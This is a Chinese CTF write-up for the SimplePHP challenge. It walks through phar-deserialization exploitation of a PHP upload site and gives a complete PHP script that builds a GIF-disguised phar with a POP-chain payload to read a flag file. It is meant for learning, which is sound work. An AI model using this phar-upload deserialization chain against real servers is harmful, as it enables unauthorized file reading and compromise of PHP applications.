当前位置: 首页 > news >正文

[SWPUCTF 2018]SimplePHP

利用查看文件页面进行文件读取,找到关键源码:

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?> 

文件后缀白名单过滤,文件上传地址"upload/" .md5($_FILES[“file”][“name”].$_SERVER[“REMOTE_ADDR”]).“.jpg”

class.php

 <?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?> 

源码中提示了使用phar协议。

phar 文件的概念及结构
概念:phar(PHP Archive)是 PHP 里类似于 Java 中 jar 的一种打包文件,它可以把多个 PHP 文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。
结构:phar 文件由四部分组成。一是 stub,即文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。二是 manifest,用于存储压缩文件属性等信息,以序列化形式存储,这也是反序列化攻击的关键部分。三是 contents,即被压缩文件的内容。四是 signature,为签名,放在文件末尾,用于验证 Phar 文件的完整性,是可选部分。
phar 伪协议的用途
访问归档文件中的文件:通过指定 phar 文件的路径来访问其中包含的文件,例如,phar://path/to/archive.phar/file.txt可以访问归档文件archive.phar中的file.txt。
读取归档文件中的内容:可以像读取普通文件一样使用file_get_contents()或fopen()等函数来读取 phar 归档文件中的内容。
执行归档文件中的代码:使用include或require等 PHP 包含文件的函数来执行 phar 归档文件中的 PHP 代码,这也是利用 phar:// 协议进行文件上传漏洞攻击的关键。
phar 伪协议的安全风险
当服务器端应用程序接受用户上传的文件并未进行充分验证时,攻击者可能会利用 phar 伪协议进行攻击。攻击者可以构造恶意的 phar 文件,在其中包含 PHP 代码,然后将文件名伪装成其他类型的文件扩展名,例如image.png*(依赖文件内容中的特定标识而不是后缀名来识别phar文件)*。一旦服务器端应用程序接受并存储了这个文件,攻击者可以通过请求绕过文件类型验证,然后再通过 phar:// 协议来访问该文件,导致 PHP 解析并执行该文件中嵌入的恶意代码,从而使攻击者能够在服务器上执行任意的操作或获取敏感信息。

这里虽然没有include或者require执行代码,但是存在魔术方法,在解析phar数据并进行反序列化时会自动执行。
因此我们只需要构造出反序列化语句,再打包放入phar文件的manifest中,修改后缀名绕过过滤。

利用C1e4r的__destruct()中echo $this->test 唤醒 Show的__tostring()中的$this->str[‘str’]->source 唤醒Test中的__get()读取flag.php。

$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';
echo serialize($a);

然后是将其放入phar文件中

// 创建一个名为 phar.phar 的 Phar 归档文件对象
$phar = new Phar("phar.phar"); // 开始缓冲操作(所有修改先暂存,不立即写入文件)
$phar->startBuffering();// 设置 Phar 文件的"伪装头"和执行标记
// "GIF89a"是 GIF 图片的文件头,用于让文件被识别为图片(绕过文件类型检测)
// "<?php __HALT_COMPILER(); ?>"是 Phar 必须的执行标记,告诉 PHP 这是可解析的 Phar 包
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 向 Phar 包添加"隐藏的元数据"(核心数据)
// $a 是一个变量,其内容会被序列化后存储(读取时会自动反序列化)
// 元数据不显示为文件,需通过专门方法读取,常用于存储描述信息或(在特殊场景中)恶意代码
$phar->setMetadata($a);  // 向 Phar 包添加一个"实体文件"(结构必需)
// 文件名是 exp.txt,内容是 test(仅作为占位符,让 Phar 格式有效)
// 这个文件是 Phar 包的"可见内容",类似 ZIP 里的文件,用于维持归档的基本结构
$phar->addFromString("exp.txt", "test"); // 结束缓冲,将所有修改(元数据、实体文件、伪装头)写入到 phar.phar 文件中
$phar->stopBuffering();

payload:

<?php
class C1e4r
{public $test;public $str;
}class Show
{public $source;public $str;
}
class Test
{public $file;public $params;
}$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();?> 

再修改后缀名并上传.
用源码中的方式生成文件位置应该是upload/md5('phar.jpg222.90.67.205').jpg
upload/296091de1a585b89c3c237bad67ee2fc.jpg
但是实际位置并不是这个。访问/upload可以看到文件位置:
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/e7764f008afa430d910bbe6847f7d07d.png =400)
利用phar:// 访问该文件即可得到flag。

总结

利用文件读取获得源码,关键在于用phar反序列化结合文件上传读取flag。

http://www.dtcms.com/a/361692.html

相关文章:

  • 实现自己的AI视频监控系统-第三章-信息的推送与共享2
  • 刘洋洋《一笔相思绘红妆》上线,献给当代痴心人的一封情书
  • 互斥量(Mutex,全称 Mutual Exclusion)用于保证同一时间只有一个线程(或进程)访问共享资源,从而避免并发操作导致的数据不一致问题
  • RAG-文本到SQL
  • SOME/IP-SD中IPv4端点选项与IPv4 SD端点选项
  • 突破超强回归模型,高斯过程回归!
  • 使用 BayesFlow 神经网络简化贝叶斯推断的案例分享(二)
  • 无重复字符的最长子串,leetCode热题100,C++实现
  • 【FireCrawl】:本地部署AI爬虫+DIFY集成+V2新特性
  • FFmpeg 不同编码的压缩命令详解
  • 速卖通自养号测评系统开发指南:环境隔离与行为模拟实战
  • 测试-用例篇
  • FFMPEG AAC
  • 【LeetCode每日一题】19. 删除链表的倒数第 N 个结点 24. 两两交换链表中的节点
  • Java内存模型下的高性能锁优化与无锁编程实践指南
  • 几种特殊的数字滤波器---原理及设计
  • 【零碎小知识点 】(四) Java多线程编程深入与实践
  • MongoDB主从切换实战:如何让指定从库“精准”升级为主库?保姆级教程!
  • 36. Ansible变量+管理机密
  • 【Android】使用Handler做多个线程之间的通信
  • Java面试宝典:Redis高并发高可用(集群)
  • 函数,数组与正则表达式
  • Kafka 架构原理
  • 销售事业十年规划,并附上一套能帮助销售成长的「软件工具组合」
  • 【git 基础】detached HEAD state的出现和解决
  • C++11模板优化大揭秘:让你的代码更简洁、更安全、更高效
  • javaScript变量命名规则
  • 【汇客项目】:在启动过程中报错 本来安装的是node-sass 被卸载后安装的sass ,代码中一部分出现问题
  • 【深度学习基础】深度学习中的数据增强技术:从理论到实践的解析
  • 【ARMv7】开篇:掌握ARMv7架构Soc开发技能